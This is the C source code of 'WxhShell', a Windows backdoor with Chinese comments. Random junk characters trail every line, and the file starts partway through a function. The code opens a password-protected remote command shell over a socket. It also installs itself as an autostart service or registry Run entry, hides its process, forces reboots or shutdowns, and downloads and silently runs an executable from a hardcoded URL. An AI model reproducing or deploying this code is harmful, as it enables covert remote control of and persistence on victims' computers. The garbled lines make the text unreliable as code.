    if(Boot(SHUTDOWN)) 6PI-"He  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Th//uI+  
    else { UwxrYouv~@  
    closesocket(wsh); }GTy{Y*&  
    ExitThread(0); u~d&<_Z  
    } zoBjrAyD  
    break; X{riI^(  
    } x5Ee'G(  
  // 获取shell /L"&'~  
  case 's': { {VE$i2nC8  
    CmdShell(wsh); w]0jq U6  
    closesocket(wsh); *8CE0;p'k  
    ExitThread(0); 5Gsj;   
    break; |]H2a;vUJR  
  } -0doL ^A  
  // 退出 6Gs,-Kb:  
  case 'x': { H{T)?J~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 62LQUl]<  
    CloseIt(wsh); T {lJ[M  
    break; 8Lpy`He  
    } j{'@g[HW  
  // 离开 Lsozl<@  
  case 'q': { )FqE8oN-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3?uP$(l  
    closesocket(wsh); ~dwl7Qc  
    WSACleanup(); *WgP+"h  
    exit(1); Ic/<jFZXM  
    break; U-s6h;^ O  
        } afc?a-~Z  
  } fwQ%mU+  
  } HF\L`dJX?  
m%E7V{t  
  // 提示信息 Yazpfw 7'd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {ersXQ:  
} 2s6Hr;^w.1  
  } _H8)O2mJ  
#PA"l` "  
  return; I/)dXk~  
} xt"/e-h }  
 m|"MJP  
// shell模块句柄 tY :-13F  
int CmdShell(SOCKET sock) <ZrZSt+<  
{ 1 )j%]zd2  
STARTUPINFO si; 4!gyFi6$  
ZeroMemory(&si,sizeof(si)); ._tv$Gd@k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oa1a5+ A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?j0blXl  
PROCESS_INFORMATION ProcessInfo; ($W9 ?  
char cmdline[]="cmd"; :({lXGc}4?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bt&vik _  
  return 0; 9Jk(ID'c  
} +ic~Sar  
t8)Fkx#8}  
// 自身启动模式 iKS9Xss8  
int StartFromService(void) Y9w= [[1  
{ ,.}PZL  
typedef struct puqH%m+u  
{ 3iEcLhe"4  
  DWORD ExitStatus; >PGm}s_  
  DWORD PebBaseAddress; nC&rQQFF  
  DWORD AffinityMask; 0`ib_&yI  
  DWORD BasePriority; 3P\I;xM  
  ULONG UniqueProcessId; xZhD6'Zzz  
  ULONG InheritedFromUniqueProcessId; [7s5Vt|  
}   PROCESS_BASIC_INFORMATION; sy@k3wQ  
wA~Nfn ^  
PROCNTQSIP NtQueryInformationProcess; _RmE+Xg2  
i ~FCt4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ev guw*u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bL[PNUG  
*r% mqAx(  
  HANDLE             hProcess; v S+~4Q41  
  PROCESS_BASIC_INFORMATION pbi; ~!nd'{{9  
Dps{[3Y+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Uq+ _#{2(  
  if(NULL == hInst ) return 0; 7kwG_0QO  
R{rV1j#@!a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vaxg^n|v9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1Ev+':%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); slmxit  
bT*4Qd4W  
  if (!NtQueryInformationProcess) return 0; Q.] )yqX6  
FXSDN268  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `x#~ -  
  if(!hProcess) return 0; Yptsq@s  
1*jL2P]D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J-ZM1HoB  
0l6djN  
  CloseHandle(hProcess); GJuD :  
4>Y\2O?**  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [ O)Zof  
if(hProcess==NULL) return 0; $^XPk#$m  
H'`(|$:|  
HMODULE hMod; ,Df36-74v5  
char procName[255]; E 9:hK  
unsigned long cbNeeded; W.R'2R#  
&zd7t6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yy74>K  
prs<ZxbQb  
  CloseHandle(hProcess); :&-}S>pC  
I7_D $a=  
if(strstr(procName,"services")) return 1; // 以服务启动 9C 05  
2"'8x?.V  
  return 0; // 注册表启动 htRZ}e  
} i+Dgw  
%Tb|Yfyr C  
// 主模块 -}sya1(<8  
int StartWxhshell(LPSTR lpCmdLine) C941 @I  
{ M!l5,ycF  
  SOCKET wsl; z{jAt6@7  
BOOL val=TRUE; gWo~o]f  
  int port=0; W>bW1h  
  struct sockaddr_in door; gc~h!%'.I  
S: uEK  
  if(wscfg.ws_autoins) Install(); -c?wEqa~2  
9tEKA|8  
port=atoi(lpCmdLine); @b{u/:y  
cZzZNGY^ts  
if(port<=0) port=wscfg.ws_port; E|;5Z*  
\>`$x:  
  WSADATA data; aF"Z!HD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P/9J!.Cm  
* _l o;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Lp)8SmN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RT"2Us]*  
  door.sin_family = AF_INET; Z^6(&Rh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WG luY>C;  
  door.sin_port = htons(port); @qy*R'+  
mVAm^JK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 73ljW  
closesocket(wsl); 5)5bt q)[  
return 1; f1$mh1J W  
} %,cFX[D/)  
]q7 LoH'S  
  if(listen(wsl,2) == INVALID_SOCKET) { pQ:PwyU  
closesocket(wsl); XWQ0V  
return 1; -+>r4P  
} {4aY}= -Q*  
  Wxhshell(wsl); o[[r_v_d  
  WSACleanup(); },aWCvJL  
U"Hquo  
return 0; 7XWBI\SW  
O\Mq<;|7m  
} -yQ\3wli`  
<bZm  
// 以NT服务方式启动 A=C3e4.C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i!$^NIcJ  
{ u\6]^T6  
DWORD   status = 0; 'b?.\Bm;  
  DWORD   specificError = 0xfffffff; `-EH0'w~"  
ZHF(q6T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J-\?,4mcP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o $`kpr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B4:l*P'  
  serviceStatus.dwWin32ExitCode     = 0; kTZx-7~  
  serviceStatus.dwServiceSpecificExitCode = 0; rYFau1  
  serviceStatus.dwCheckPoint       = 0; 0yC`9g)(  
  serviceStatus.dwWaitHint       = 0; /Ej]X`F  
7 Jx-W|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )uid!d  
  if (hServiceStatusHandle==0) return; ]( =wlq)  
bxdXZB n  
status = GetLastError(); )ozcr^  
  if (status!=NO_ERROR) "c/s/$k//  
{ uo4$rf7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Az< 9hk  
    serviceStatus.dwCheckPoint       = 0; v^c<`i;  
    serviceStatus.dwWaitHint       = 0; ~x4B/zW?  
    serviceStatus.dwWin32ExitCode     = status; ?5yH'9zE  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?S&w0}R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xs>s|_T  
    return; \_*MJ)h)X  
  } 2yQ}Lxr(  
ft/^4QcyAM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r[v-?W'  
  serviceStatus.dwCheckPoint       = 0; 8_IOJ]:w  
  serviceStatus.dwWaitHint       = 0; G?ugMl}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B8 0odU&  
} 2b#(X'ob  
&=-e`=qJ'6  
// 处理NT服务事件,比如:启动、停止 A }-&C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O5^J!(.O\Z  
{ !FB \h<6  
switch(fdwControl) 9PKoNd^e  
{ N2tkCkl^x9  
case SERVICE_CONTROL_STOP: =F'M~3M   
  serviceStatus.dwWin32ExitCode = 0; !2Y!jz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j6e}7  
  serviceStatus.dwCheckPoint   = 0; *t.q m5h  
  serviceStatus.dwWaitHint     = 0; g%\$ !b  
  { i-k >U}[%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w#xeua|*I#  
  } om}/f`  
  return; ;v1NL@w*  
case SERVICE_CONTROL_PAUSE: v_z..-7Dq+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _hy{F%}  
  break; Uvh~B^6  
case SERVICE_CONTROL_CONTINUE: |.(CIu~b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m Ztv G,  
  break; [0&'cu>  
case SERVICE_CONTROL_INTERROGATE: (T|TEt  
  break; N-2([v  
}; Ufdl|smt1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^sifEgG*d  
} <)O >MI' 4  
V uG?B{  
// 标准应用程序主函数 E dn[cH7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1~2R^#rm  
{ PS=e\(6QC  
(#!] fF"!x  
// 获取操作系统版本 V1SqX:;b&  
OsIsNt=GetOsVer(); 7G5y)Qb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 38c?^  
wG1y,u'  
  // 从命令行安装 +T0op4  
  if(strpbrk(lpCmdLine,"iI")) Install(); <4bz/^  
#:J: YMv  
  // 下载执行文件 S!;L F4VA  
if(wscfg.ws_downexe) { 7]Al*)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .u1X+P7  
  WinExec(wscfg.ws_filenam,SW_HIDE); Al7<s  
} &{%MjKJ._  
X^}A*4j  
if(!OsIsNt) { Y1{B c<tC  
// 如果时win9x,隐藏进程并且设置为注册表启动 .'|mY$U~]  
HideProc(); g(aZT#ii=  
StartWxhshell(lpCmdLine); &E bI Op  
} bfgz1 `u  
else ]3*P:$Rq  
  if(StartFromService()) w *50ZS;N  
  // 以服务方式启动 q|5Q?t:,r  
  StartServiceCtrlDispatcher(DispatchTable); *q0`})IQ  
else Q48+O?&  
  // 普通方式启动 g"wxC@IR  
  StartWxhshell(lpCmdLine); xXX/]x>  
1Cm~X$S.  
return 0; CRFCqmevR  
} 5m4DS:&  
b1u}fp GF  
NbtGlSs8  
W9Nmx3ve  
=========================================== F|9+ +)  
4qhWm"&CM  
BQ#3QL't  
nnNv0 ?>d(  
$X*mdji  
Py|;kF~![  
" IdPn%)>6  
ZK6Hvc0  
#include <stdio.h> P z ?m>>#  
#include <string.h> P;vxT}1  
#include <windows.h> +\0T\;-Xe  
#include <winsock2.h> G @g h#[b  
#include <winsvc.h> B^fT>1P  
#include <urlmon.h> 0GZq`a7[  
;QBh;jg4  
#pragma comment (lib, "Ws2_32.lib") 9#7J:PfZ<  
#pragma comment (lib, "urlmon.lib") %,\=s.~1  
!Xj#@e  
#define MAX_USER   100 // 最大客户端连接数 !\-WEQrp\  
#define BUF_SOCK   200 // sock buffer _qn?2u3mnR  
#define KEY_BUFF   255 // 输入 buffer 1<.5ub*i4  
*5k+t  
#define REBOOT     0   // 重启 0,_b)  
#define SHUTDOWN   1   // 关机 tx"LeZZ  
_X4!xbP  
#define DEF_PORT   5000 // 监听端口 W @.Ji B  
xzsdG?P  
#define REG_LEN     16   // 注册表键长度 ~`qEWvPn  
#define SVC_LEN     80   // NT服务名长度 %'bJ:  
 fRB5U'  
// 从dll定义API :^i^0dC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /7D<'MF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9CJ(Z+;OM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); " .4,."  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ${I*nh>=  
c6&Q^p|CF  
// wxhshell配置信息 =Mj 0:rW  
struct WSCFG { B4h5[fPX  
  int ws_port;         // 监听端口 =wVJ%  
  char ws_passstr[REG_LEN]; // 口令 _{4^|{>Pv  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;W]\rft[  
  char ws_regname[REG_LEN]; // 注册表键名 u5B:^.:p  
  char ws_svcname[REG_LEN]; // 服务名 D:"{g|nW}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d$t40+v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pTJX""C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t~``md4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <lE?,jl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PL X>-7@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =>iA gp'#  
/Fgw$ ^H  
}; QA3/   
zmI]cD@G  
// default Wxhshell configuration v6GPS1:a  
struct WSCFG wscfg={DEF_PORT, ,ho3  
    "xuhuanlingzhe", mh.+."<)F  
    1, g%nl!dgS  
    "Wxhshell", =LkR!R=  
    "Wxhshell", ]QVNn?PA8  
            "WxhShell Service", ^uBxgWIC  
    "Wrsky Windows CmdShell Service", b2,!g }I  
    "Please Input Your Password: ", Djq!P  
  1, q_kdCO{:df  
  "http://www.wrsky.com/wxhshell.exe", #bX9Tu0  
  "Wxhshell.exe" #]P9b@@e  
    }; (wRgus  
c(#;_Ve2P  
// 消息定义模块 Fqy\CMC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TaE~s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /D! ;u]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZJPmR/OV_  
char *msg_ws_ext="\n\rExit."; J(DN !  
char *msg_ws_end="\n\rQuit."; $5x ,6[&  
char *msg_ws_boot="\n\rReboot..."; bKg8rK u  
char *msg_ws_poff="\n\rShutdown..."; a.N{-2ptH  
char *msg_ws_down="\n\rSave to "; N IdZ  
)R`xR,H  
char *msg_ws_err="\n\rErr!"; ,R%q}IH#  
char *msg_ws_ok="\n\rOK!"; F8-?dpf'  
ljTBvU  
char ExeFile[MAX_PATH]; `F<jLU^3  
int nUser = 0; ;OqB5qd  
HANDLE handles[MAX_USER]; A,  3bC  
int OsIsNt; Xtt ? ]  
p sL?Y  
SERVICE_STATUS       serviceStatus; <-D/O$q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8Nu=^[qwQM  
1`ayc|9BR  
// 函数声明 jC bV,0)^  
int Install(void); RuII!}*  
int Uninstall(void); F*"}aP$  
int DownloadFile(char *sURL, SOCKET wsh); -py@DzK  
int Boot(int flag); _ODbY;M  
void HideProc(void); '%q$` KDb  
int GetOsVer(void); o2<#s)GpY  
int Wxhshell(SOCKET wsl); wgCa58H76  
void TalkWithClient(void *cs); KQB3 m"  
int CmdShell(SOCKET sock); D$t k<{)oB  
int StartFromService(void); :Nofp&  
int StartWxhshell(LPSTR lpCmdLine); 9eH$XYy  
5[c^TJ3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E? _Z`*h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dKdj`wB  
%Dwk  
// 数据结构和表定义 293M\5:  
SERVICE_TABLE_ENTRY DispatchTable[] = tQS5hwm*  
{ :j+ ZI3@  
{wscfg.ws_svcname, NTServiceMain}, #Y$hNQQ$F  
{NULL, NULL} vM5k_D  
}; B)0i:"q  
/5u<78GW1  
// 自我安装 9I4K}R  
int Install(void) ]*AR,0N&  
{ 2 B  
  char svExeFile[MAX_PATH]; Y'8?.a]'  
  HKEY key; 8P|D13- Q  
  strcpy(svExeFile,ExeFile); >r !|sC  
B]Thn  
// 如果是win9x系统,修改注册表设为自启动 0N $v"uX@  
if(!OsIsNt) { U|IzXQX(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b:TLV`>/&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PpAu!2lt9  
  RegCloseKey(key); !wNr3LG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NfjE`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FY#C.mL  
  RegCloseKey(key); JsODzw  
  return 0; ?!` /m|"  
    } njputEGX  
  } =w{Z@S(ukz  
} E>D_V@,/  
else { LGw$v[wb  
NU5.o$  
// 如果是NT以上系统,安装为系统服务 x8V('`}j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u)+8S/ )  
if (schSCManager!=0) ,Ge"anO  
{ {#@W)4)cA  
  SC_HANDLE schService = CreateService xD~5UER  
  ( Wa{`VS  
  schSCManager, Yp^rR }N  
  wscfg.ws_svcname, kY-N>E:  
  wscfg.ws_svcdisp, RwpdRBb  
  SERVICE_ALL_ACCESS, ~E2KZm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %D\[*  
  SERVICE_AUTO_START, |}Nn!Sj>#;  
  SERVICE_ERROR_NORMAL, o<pf#tifv  
  svExeFile, sN9&,&W1  
  NULL, i#vYyVr[  
  NULL, %N>%!m  
  NULL, jtW!"TOY  
  NULL, CVL3VT1j0  
  NULL .$+#1-  
  ); Qp_isU  
  if (schService!=0)  KY$)#i  
  { s %j_H  
  CloseServiceHandle(schService); M_/7D|xl/T  
  CloseServiceHandle(schSCManager); 7QiIiWqIWC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5B3G @KR  
  strcat(svExeFile,wscfg.ws_svcname); MOQ*]fV:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @tNzQ8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $P^q!H4D  
  RegCloseKey(key); Vc\MV0lr  
  return 0; }ppN k:B  
    } a|t$l=|DD  
  } sBvzAVBL  
  CloseServiceHandle(schSCManager); Vc&! OE  
} f e\$@-  
} Lt?lv2k=L  
m Bu  
return 1; 4i)1'{e  
} Yvw(t j5_5  
N +Yxz;Mg  
// 自我卸载 #Z?A2r!1  
int Uninstall(void) zy/@ WFPE  
{ Y!-M_v/  
  HKEY key; f-vCm 5f  
Rr&h!YMb  
if(!OsIsNt) { xHv ZV<#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K[YI4pt7  
  RegDeleteValue(key,wscfg.ws_regname); z+0I#kM"1  
  RegCloseKey(key); /M1ob:m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tqE6>"jD  
  RegDeleteValue(key,wscfg.ws_regname); h \fjBDU^  
  RegCloseKey(key); nv*FT  
  return 0; n{n52][J]  
  }  eI$oLl@  
} T*Y~\~Jhu  
} cLpYW7vZ[  
else { #xsE3Wj-X  
eVjBGJ=2e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); % L$bf#  
if (schSCManager!=0) !![DJ  
{ ] {RDVA=]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '\l"   
  if (schService!=0) S'Q@ScJ  
  { eBZXI)pPh  
  if(DeleteService(schService)!=0) { (9''MlGd%  
  CloseServiceHandle(schService); B3pCy~*5  
  CloseServiceHandle(schSCManager); 2V- 16Q'%  
  return 0; `x+ B+)0X  
  } |7'df&CA  
  CloseServiceHandle(schService); CpUk Cgg  
  } ?A K(|  
  CloseServiceHandle(schSCManager); <GS^  
} Xb|:vr\v  
} 1{)5<!9!l  
?ZV/U!y  
return 1; g!g#]9j  
} hQ,ch[j'  
=_.l8IYX$%  
// 从指定url下载文件 kvL=> A  
int DownloadFile(char *sURL, SOCKET wsh) j+i\bks  
{ (yH'{6g\  
  HRESULT hr; 0IsPIi"7  
char seps[]= "/"; v [wb~uw\  
char *token; F|S Xn\  
char *file; (!ux+K  
char myURL[MAX_PATH]; 3+)J @(a  
char myFILE[MAX_PATH]; LA!?H]  
H[6:_**?o  
strcpy(myURL,sURL); =6j&4p `  
  token=strtok(myURL,seps); lUOF4U&r  
  while(token!=NULL) hE-h`'ha`  
  { qmkAg }2  
    file=token; rMdt:`  
  token=strtok(NULL,seps); $njUXSQ;  
  } \T4v|Pw\  
cXA i k-  
GetCurrentDirectory(MAX_PATH,myFILE); 52@C9Q,  
strcat(myFILE, "\\"); H`*LBqDk  
strcat(myFILE, file); +^` I?1\UF  
  send(wsh,myFILE,strlen(myFILE),0); vNyf64)  
send(wsh,"...",3,0); 4X!/hI=jq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $.Qkb@}  
  if(hr==S_OK) LoURC$lS  
return 0; xsIY7Ss U  
else e),q0%5  
return 1; P}Gj %4/G  
dH;8mb|#'  
} {kA0z2Fe  
{0[tNth'h  
// 系统电源模块 b:U$x20n$  
int Boot(int flag) ]3D0R;  
{ KN^=i5K+Y  
  HANDLE hToken; BOX{]EOj  
  TOKEN_PRIVILEGES tkp; PIJr{6B/PA  
`{f}3bO7C  
  if(OsIsNt) { @D]5civm_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xipU8'ac/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E~DQ-z  
    tkp.PrivilegeCount = 1; Df}A^G >X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LGq'WU31:)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6]&OrS[  
if(flag==REBOOT) { BnX0G1|#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f&=AA@jLv  
  return 0; WltQ63u  
} 4svBzZdr  
else { ]{sU&GqBLe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Yz'K]M_Dq  
  return 0; kI,yU}<Fq  
} ])[[ V!1  
  } R8Wr^s>'  
  else { /}((l%UE.  
if(flag==REBOOT) { s,"]aew  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^4y,W]JUDt  
  return 0; H[NSqu.s  
} a1g,@0s  
else { ADz ^\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %@<8<6&q  
  return 0; eln)BW#  
} ]l;o}+`G  
} F6LH $C  
B+$%*%b  
return 1; |-b#9JQ[A  
} MH =%-S   
hnffz95  
// win9x进程隐藏模块 5u,{6  
void HideProc(void) ^gN6/>]qrY  
{ k)i3   
[NF'oRRD9s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z$&{:\hj  
  if ( hKernel != NULL ) ;/bewivNJ  
  { aR[JD2G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3BzNi'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EW}Bzh>b  
    FreeLibrary(hKernel); 9G9t" {  
  } gK+ 4C  
rExnxQ<e  
return; l.(v^3:X  
} _1!7V3|^  
T5|q RlW  
// 获取操作系统版本 gx-2v|pZ  
int GetOsVer(void) .14~J6  
{ fPU`/6  
  OSVERSIONINFO winfo; i9rN9Mq?O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]q\b,)4 e  
  GetVersionEx(&winfo);  nI[os  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0}<|7?  
  return 1; bAdn &   
  else :Oy%a'w   
  return 0; 4M^= nae  
} I"xo*}  
pk>^?MO  
// 客户端句柄模块 ,1hxw<sNR  
int Wxhshell(SOCKET wsl) H h4WMZJG  
{ 2Zm0qJ  
  SOCKET wsh; Upx G@b  
  struct sockaddr_in client; {0r0\D>bw  
  DWORD myID; bUs0 M0y  
P i=+/}  
  while(nUser<MAX_USER) OwuE~K7b{  
{ bkRLC_/d  
  int nSize=sizeof(client); 6=kEyJT'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6d:zb;Iz  
  if(wsh==INVALID_SOCKET) return 1; 1v#%Ei$6`t  
\TIT:1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^0Zf,40  
if(handles[nUser]==0) ag;Q F  
  closesocket(wsh); a,Sw4yJ!Q  
else 85>05 ?  
  nUser++; Y y5h"r  
  } w!#tTyk`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ltv]pH}YN  
Cmu@4j&  
  return 0; AW%50V  
} uOKCAqYa  
3s5z UT;  
// 关闭 socket zofa-7'Bn  
void CloseIt(SOCKET wsh) 0;hqIJcE:\  
{ V4hiGO[  
closesocket(wsh); H[m:0eF'5  
nUser--; {SOr#{1z*  
ExitThread(0); H-WJp<_  
} >~#yu&*D  
!NIhx109q  
// 客户端请求句柄 f< ia(d  
void TalkWithClient(void *cs) D!@Ciw  
{ B3:ez jj  
^"2i   
  SOCKET wsh=(SOCKET)cs; ]5mnew  
  char pwd[SVC_LEN]; iMAfJ-oN  
  char cmd[KEY_BUFF]; oxC[F*mD  
char chr[1]; au N6prGe  
int i,j; UG'Q]S#!  
YA''2Ii  
  while (nUser < MAX_USER) { \?w2a$?6w  
%]F d[pzF  
if(wscfg.ws_passstr) { NYt&@Z}]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?TM ,Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ua<5U5  
  //ZeroMemory(pwd,KEY_BUFF); nR7d4)  
      i=0; mkMq  
  while(i<SVC_LEN) { kv]~'Srk  
\@WDV  
  // 设置超时 |pm7_[  
  fd_set FdRead; Bs13^^hu  
  struct timeval TimeOut; g=39C>  
  FD_ZERO(&FdRead); 4 <9=5q]  
  FD_SET(wsh,&FdRead); *,3SGcYdJj  
  TimeOut.tv_sec=8; 7zA'ri3w  
  TimeOut.tv_usec=0; pN!}UqfI-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !\"EFVH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :X0k]p  
zxJ]" N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2K< 8  
  pwd=chr[0]; ? Fi=P#  
  if(chr[0]==0xd || chr[0]==0xa) { fg s!v7  
  pwd=0; Mxe}B'  
  break; g@rb  
  } e_#._Pi  
  i++; |P[w==AAf  
    } Hv!U| L  
(XeE2l2M  
  // 如果是非法用户,关闭 socket PjZvQ\Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,3?Q(=j  
} -!q :p&c  
Q(@U2a8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Vc_'hz]Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O9vQp  
Qi^Z11  
while(1) { N8k00*p65  
2w59^"<,  
  ZeroMemory(cmd,KEY_BUFF); ->sm+H-*  
<d,b'<z s  
      // 自动支持客户端 telnet标准   ,.rs(5.z8/  
  j=0; M*!agh  
  while(j<KEY_BUFF) { q'|rgT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ? K ;dp  
  cmd[j]=chr[0]; G.rrv  
  if(chr[0]==0xa || chr[0]==0xd) { ?h.wK  
  cmd[j]=0; "|Xk2U  
  break; ?>hPO73{  
  } d^RxQuA  
  j++; }M1`di4e  
    } ~$ng^D  
6""G,"B  
  // 下载文件 e91aK  
  if(strstr(cmd,"http://")) { i'4B3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6`O.!|)  
  if(DownloadFile(cmd,wsh)) { D^{[I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pi /g H  
  else 0TCBQ~"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !;0U,!WI  
  } ,u!*2cWN  
  else { s}j{#xT  
=o Xsb  
    switch(cmd[0]) { >*]Hq.&8  
  H18Tn!RDS  
  // 帮助 U@gn;@\  
